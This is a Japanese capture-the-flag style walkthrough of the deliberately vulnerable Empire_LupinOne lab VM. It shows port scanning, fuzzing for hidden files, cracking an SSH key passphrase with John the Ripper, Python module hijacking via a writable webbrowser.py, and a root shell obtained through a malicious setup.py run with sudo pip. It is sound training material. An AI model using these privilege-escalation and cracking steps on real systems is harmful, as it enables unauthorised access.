Empire_LupinOneマシンをハッキングする
今回もハッキング・ラボのつくりかたを使って、「Empire_LupinOne」マシンをハッキングしていきます!
ところどころ本に記載されているやり方とは違うやり方でやっている場合があります。
ご承知おきください。
1.環境構築
VirtualBoxの設定はこちら#2を参照してください。
Empire_LupinOneのダウンロードページはこちらです。
2.IPアドレスを調べる
自分のIPアドレスを調べる際ip -4 addr show dev enp0s3を使って調べるとenp0s3だけのIPアドレスを表示してくれます。
私は以下のコマンドを実行して、IPアドレスを調べました。
ip a
次にEmpire_LupinOneマシンのIPアドレスを調べていきます。
調べ方はたくさんあるのですが、お好みの調べ方で調べていくといいと思います。
今回私は以下のコマンドを実行して調べていきました。
sudo netdiscover -i enp0s3 -r 192.168.56.0/24

Empire_LupinOneのIPアドレスは192.168.56.115だと分かります。
3.Empire_LupinOneマシンに疎通確認を行う
Pingで疎通確認をします。
ping 192.168.56.115
4.Empire_LupinOneマシン用のディレクトリを作成する

上記のように作成します。ディレクトリの名前はお好みの名前で分かりやすいものにしてください。
5.ポートスキャンを行う
今回もNmapを使って権限昇格を行っていきます。
nmap -sV -p- -A 192.168.56.115 --system-dns
-
-sV:開いているポートで動作しているサービスとそのバージョン情報を取得する -
-p-:全ポートをスキャンする -
-A:OS検出(-O)、バージョン検出(-sV)、スクリプトスキャン(-sC)、traceroute(--traceroute)を有効化する -
--system-dns:OS標準のDNS解析機能を使用して名前解決を行う

上記のことから二つのポートが開いていることが分かります。 - 22/tcp(SSH):SSH
- 80/tcp(HTTP):HTTP
-
robots.txtファイルと/myfilesディレクトリがある
-
6.サイトにアクセスする
http://192.168.56.115/にアクセスします。

ソースを表示してみますが、Its an easy box,dont give up.とあり、特に手がかりになる情報は得られませんでした。

先ほどポートスキャンした際、robots.txtファイルがあることが分かっています。
![]()
robots.txtとは?
Webサイトのルートディレクトリに配置し、検索エンジンのクローラー(Webロボット)に対して「どのページを巡回してよいか・ダメか」を指示するための指示書ファイルです。
[役割・目的]
1.クローラーのアクセスの制御
管理画面、検索結果ページ、一時ファイルなど、検索結果に表示する必要がないページの巡回を防ぐ
2.サーバー負担の軽減
大量のページが存在する大規模サイトにおいて、不要なページへのアクセスを抑え、重要なページを優先的に巡回させる
3.サイトマップの場所の明示
クローラーに対して、サイトマップファイル(sitemap.xml)の存在場所を教えることができる
| 記述子 | 役割 |
|---|---|
| User-agent | 対象とするクローラー(ボット)を指定(*は全クローラー) |
| Disallow | クロール(巡回)を禁止するパス |
| Allow |
Disallowの中で例外的に許可するパス |
| Sitemap | XMLサイトマップの絶対URLを指定 |
http://192.168.56.115/robots.txtにアクセスします。

-
User-agent: *:すべてのクローラーを対象 -
Disallow: /~myfiles:/~myfilesで始まるディレクトリやファイルへの巡回(クロール)およびインデックス登録を禁止している。
禁止されているためhttp://192.168.56.119/~myfiles/にアクセスすると、404エラーが起きます。
7.アクセスできるディレクトリを特定する
ファジングツールを用いてディレクトリを特定します。
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "http://192.168.56.115/~FUZZ/"

myfiles以外にもsecretというアクセス可能なディレクトリが存在することが分かります。
http://192.168.56.115/~secret/にアクセスしてみます。

翻訳すると以下のようになっています。
やあ、友よ。僕の秘密のディレクトリを見つけてくれて嬉しいよ。これは、僕が作成したSSH秘密鍵ファイルを君と共有するために作ったんだ。
ハッカーに見つかって、FastTrackでパスフレーズを解読されないように、ここどこかに隠しておいたんだ。
僕は賢いからね、それは分かってるよ。
何か問題があったら教えてね。君の親友、icex64より
SSHの秘密鍵のファイルが隠されているというヒントを得られました。
8.辞書攻撃でファイル名を特定する
先ほどの結果から秘密鍵ファイルの場所はhttp://192.168.56.115/~secret/内にあると予想できます。
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "http://192.168.56.115/~secret/.FUZZ/"
単純にWebコンテンツとしてよく使われるraft-large-files.txtを使用してスキャンを行ってしまうと、目的とは異なる不要な拡張子(.php,.htmlなど)も含まれてしまうため無駄なスキャンが発生してしまいます。
これを踏まえて以下の条件を考慮してスキャンを行います。
- ドットファイル(隠しファイル)であること
- 拡張子が不明、またはテキストファイルであること
ここでrockyou.txtという辞書を使いたいところですが、rockyou.txtにはコメント行(#で始まる行)が含まれています。wfuzzはこの#も単語の一部として読み込んでしまい、エラーや無駄なノイズが発生してしまいます。
そうなってしまわないように今回はコマンドを使って不要な行を削除したカスタムな辞書を作成します。

1.cp /usr/share/wordlists/rockyou.txt ./
rockyou.txtを、現在いるディレクトリにコピーします
2.grep -v '^\s*#' /usr/share/wordlists/rockyou.txt > ./custom_rockyou.txt
正規表現を用いて、先頭(^)に空白文字(\s*)があり。その後に#が続く「コメント行」を除外(-v)し、結果をcustom_rockyou.txtとして保存する
ここでエラーが出るかと思いますが気にしなくて大丈夫です。
あとはlsコマンドを使って作られているかどうか確認してください。
作成したカスタムファイルを用いて実際に実行してみましょう。
wfuzz -c -z file,./custom_rockyou.txt --hc 404 "http://192.168.56.115/~secret/.FUZZ.txt"

Responseが200になっているところに注目します。
今回はmysecretと??????の2つがあることが分かっています。
実際にアクセスしてみましょう。
先に、http://192.168.56.115/~secret/.??????.txtにアクセスします。しかし、存在していないことが分かりました。原因はよく分かりませんがヒットしたように見えるだけなのかもしれません。
次に、http://192.168.56.115/~secret/.mysecret.txtにアクセスしたところよく分からない謎の文章が表示されます。

エンコードされているテキストだと仮定し、デコードができるか試していきます。
9.エンコードされたテキストをダウンロードする
エンコードされたテキストをダウンロードするために今回はcurlコマンドを用いてダウンロードしていきます。
curl -OL http://192.168.56.115/~secret/.mysecret.txt
-
-O:サーバ上のファイル名のままローカルに保存する -
-L:転送先がリダイレクトされた場合に、自動で追跡して移動先のファイルを読みにいく
その後、lsコマンドを用いてダウンロードできているか確認し、catコマンドを使いファイルの中身が表示されるか確かめます。
本では2種類のやり方が記載されていますがお好みの方を選んでダウンロードしてください。
10.エンコードされたテキストをデコードする
ParrotOSの中にブラウザを用いて、CyberChefを開きます。この時、VirtualBoxの設定でアダプターがホストオンリーアダプターになっている場合、ブラウザを開くことができないため一度ParrotOSを閉じ、設定からネットワークを開きます。
私はアダプター1を変えるのではなく、アダプター1はそのままに、アダプター2のネットワークを有効化にチェックを入れ、NATにしました。
お好みのやり方でホストオンリーアダプターからNATに変更してください。
「CyberChef」を開くとこのような画面が出るかと思います。

今回は「Data format」のFrom Base(数字)と書かれているところを試します。
「Data format」をクリックし、From Base(数字)のところを1つずつ試していくと、From Base58を適用した際、一行目に英文が出てきます。

訳すと秘密鍵と書かれており、秘密鍵のファイルだと分かりました。この結果をコピーし、次はSSHのパスワードを解析していきます。

先ほどコピーしたものをペーストし、[Ctrl]+[D]で終了します。その後lsコマンドでKeyファイルが作られているか確認してください。
11.SSH秘密鍵からパスワードハッシュの生成およびクラッキングの検証
python3 /usr/share/john/ssh2john.py key

書籍の方ではエラーが出ていますが、バージョンが新しくなっているからかエラーが出ずにKeyが出たためそのままコピーします。
もしできなかった場合は書籍を読むと手順が記載されていますのでそちらを参照していただければと思います。
cat > passphrase_hash.txt
新しくpassphrase_hash.txtを作り、先ほどコピーしたものをペーストします。
先ほどと同様に[ctrl]+[D]で終了させ、catで確認します。
今回もJohn the Ripperを使って、パスワードクラックを行います。その際に使う辞書ファイルは/usr/share/wordlists/fasttrack.txtファイルを使っていきます。
john passpharase_hash.txt --wordlist=/usr/share/wordlists/fasttrack.txt

SSHのパスワードはP@55w0rd!だということが分かりました。
12.SSHにアクセスする
7のところでYour best friend icex64と書かれていることからおそらくicex64がユーザー名だと推測できます。
Keyに権限がないためを読み・書き・実行それぞれに権限つけます。
chmod 700 key
実行権限を付けた後、SSH接続を行います。
ssh -i key icex64@192.168.56.115
パスワードには先ほどのP@55w0rd!を入力します。
ここでエラーが発生してしまい原因を特定するとkeyが壊れているというエラーだと分かりました。
一遍keyに変なところがないように見えますが、以下のコマンドを実行するとこのような結果になりました。
cat -A key

文章の最後に\が入っていることが分かりました。おそらく、Cyberchefでコピーした際に空白文字が含まれてしまったと考えられます。
keyファイルを開き、空白文字を消します。
全て消されたことを確認し、もう一度SSH接続を行います。
パスワードにはP@55w0rd!を入力するとプロンプトが返ってきたためログインに成功したことが分かります。

lsコマンドを実行すると、user.txtというファイルがあることが分かりました。
catコマンドで中身を調べると、flagが出ました。


13.sudoでできることを調べてみる
sudo -l
sudo -lコマンドを実行することで現在ログインしているユーザーが、sudoを使って実行を許可されているコマンドの一覧を表示することができます。

上記のことからarseneユーザーはsudoコマンドを使えば、パスワードを入力せずに/home/arsene/heist.pyを実行できると分かります。
このファイルの中身を調べます。
14.攻撃アプローチを考える
目標は悪意のあるコードをプログラム内に追加し編集します。やり方は大きく分けて2種類ありますが、今回はbashを起動するコードを追加する方法で進めていきます。また、後日リバースシェルを起動するコードを追加し権限昇格を行う方法も紹介していきたいと思います。

しかし、nanoを使って直接heist.pyファイルを開こうとしても、権限エラーで編集することができませんでした。
そこで、スクリプトの処理内容に着目します。コード内でimport webbrowserが実行されているため、直接改ざんできないheist.pyではなく、呼び出されているモジュール側(webbrowser.py)のパーミッションを確認し、もし書き込み権限がある場合、そこに悪意のあるコードを割り込ませることによって権限昇格が可能になります。
まずはwebbrowserのパーミッションを確認します。

確認したところrwxであり、icex64ユーザーでも編集可能なことが分かります。nanoを使い、webbrowser.pyファイルを開き「os.system("/bin/bash")」を追加します。
nano /usr/lib/python3.9/webbrowser.py
import threadingと書かれている一行空いたその下にos.system("/bin/bash")を追加します。

上記のようになっていることを確認し、sudoで実行します。
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
-
sudo -u arsene:次に続くコマンドを、自分のアカウントではなくarseneユーザーの権限で実行 -
/usr/bin/python3.9:Python3.9の実行プログラムのフルパスを指定して起動する -
/home/arsene/heist.py:実行対象となるPythonスクリプトファイルのパス
15.arseneユーザーがsudoでできることを調べる
arseneユーザーでsudo -lコマンドを実行し、権限昇格を目指します。

上記の結果からルートユーザーとしてパスワードなしで/usr/bin/pipを実行できることが分かります。
Pythonのパッケージ管理ツールである「pip」は、管理者権限で実行な設定になっている場合、セキュリティ上の脆弱性となります。悪意のあるシェル起動スクリプトを含んだパッケージを作成し、それをroot権限のpipに読み込ませることで権限昇格を狙っていきます。
まずは/tmpディレクトリに移動します。ここでは、一時的なディレクトリを安全に作成するmktemp -dコマンドを使用します。コマンドを$()で囲むことでディレクトリが作成され、その作成されたパスが画面に表示されます。

そして、生成されたディレクトリのパスをシェル変数に代入します。
シェル変数の名前は分かりやすいもので構いません。今回私は書籍に沿って攻略しているためTFにしています。

次に以下のコマンドを実行し、ルート権限取得していきます。このコマンドはpipがパッケージをインストールする際に自動実行される仕組みを悪用して、管理者権限のシェルを横取りして起動するためのスクリプトファイルを作成するコマンドになっています。
echo "import os; os.execl('/bin/sh','sh','-c','sh < $(tty) > $(tty) 2> $(tty)')" > $TF/setup.py
-
/bin/sh:実行するプログラムを指定してする -
sh:プロセス名を指定する -
-c:後続の文字列をコマンドとして実行する
lsコマンドでsetup.pyが作成されていることを確認し、権限昇格を行っていきます。
16.権限昇格を行い、フラグを取得する
以下のコマンドを実行することで先ほど作成したsetup.pyを呼び出し、管理者権限のままshが起動します。
sudo pip install $TF

その結果、#に変わりルート権限を取得することができました。
あとは/rootに移動し、lsコマンドを実行し、catで中身を確認し、終了です。


少し説明が曖昧な部分もあるかと思いますがまた時間がある時に編集します。
最後まで見ていただきありがとうございました。



